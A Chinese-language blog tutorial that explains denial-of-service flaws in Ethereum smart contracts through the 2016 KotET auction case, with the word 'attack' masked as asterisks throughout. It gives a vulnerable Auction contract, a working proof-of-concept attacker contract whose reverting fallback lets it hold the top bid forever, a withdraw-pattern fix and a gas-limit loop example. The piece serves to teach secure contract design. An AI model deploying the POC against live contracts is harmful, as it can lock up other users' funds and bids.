Dos***
dos***也叫做拒绝服务***,通过使程序操作无效完成***的目的。
下面的一段合约是2016年KotET(“纷争时代”)合约,其遭受了dos***。本小节将揭开此合约被***的秘密。
源代码
在下面KotET合约代码中,模拟了争夺皇位的功能。只有出价最高的人才能够夺得桂冠。 合约中的bid方法正是最核心的竞价合约。只有当msg.value即附带的以太币大于当前最大的出价人,就会首先将从前的最高价格转移给从前的出价人。完成之后,新的价格和资金会替换掉旧的资金。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | pragma solidity ^0.4.23; contract Auction{ address public currentLeader; //当前最高出价人 uint256 public highestBid; //当前最高价格 mapping(address=>uint) balance; //资金表 //竞价合约 function bid() public payable{ require(msg.value >highestBid); require(currentLeader.send(highestBid)); currentLeader = msg.sender; highestBid= msg.value; } } |
***合约
下面是******的合约。***手法为:首先部署POC合约。假设为0x3456
将Auction合约的地址传递给setInstance,构建auInstance接口实例。从而能够在外部调用合约。执行attack方法,附带以太坊,例如100wei。假设还没有进行过拍卖,那么当前的最高出价地址为当前合约,最高价格为100wei。假设有另外一个人想争夺皇位,其出价了200wei 调用了Auction合约的bid方法。虽然其价格最高,但是这笔操作不能成功。原因就在于currentLeader.send(highestBid)转账,如果是合约地址,会调用合约中自定义的回调函数,而在当前案例中的回调函数,revert()意味着操作回滚,不成功。因此始终没有办法将钱还给合约,此合约将霸占王位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | pragma solidity ^0.4.23; interface Auction{ function bid() external payable; } contract POC{ address owner; Auction auInstance; constructor() public{ owner = msg.sender; } modifier onlyOwner(){ require(owner==msg.sender); _; } function setInstance(address addr) public onlyOwner{ auInstance = Auction(addr); } function attack() public payable onlyOwner{ auInstance.bid.value(msg.value)(); } function() external payable{ revert(); } } |
解决办法
让用户自己去取钱,而不是自动的转移资金到失败者的账户中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | pragma solidity ^0.4.23; contract Auction{ address public currentLeader; uint256 public highestBid; //存储金额 mapping(address=>uint) public balance; function bid() public payable{ require(msg.value >highestBid); balance[currentLeader] = highestBid; currentLeader = msg.sender; highestBid= msg.value; } //用户提钱 function withdraw() public{ require(balance[msg.sender]!=0); msg.sender.transfer(balance[msg.sender]); balance[msg.sender] = 0; } } |
dos***案例2
dos***的第二个例子是,谨慎的使用循环。
如下,refundAll方法为动态数组refundAddresses中每一个账户转移资金。由于refundAddresses长度不确定。一旦超过了以太坊gaslimit的限制,就会导致这笔操作不能够成功。
对可以被外部用户人为操纵的数据结构进行批量操作,建议使用取回模式而不是发送模式,每个投资者可以使用withdrawFunds取回自己应得的代币。
如果实在必须通过遍历一个变长数组来进行转账,最好估计完成它们大概需要多少个区块以及多少笔交易。下面合约的第二个错误在于,一旦某一个账户转账不成功,就会导致所以交易回滚,全部失败。
1 2 3 4 5 6 7 8 9 | address[] private refundAddresses; mapping (address => uint) public refunds; function refundAll() public { for(uint x; x < refundAddresses.length; x++) { require(refundAddresses[x].send(refunds[refundAddresses[x]])) } } |
参考资料
本文链接:
版权声明: 本博客所有文章除特别声明外,均采用 许可协议。转载请注明出处!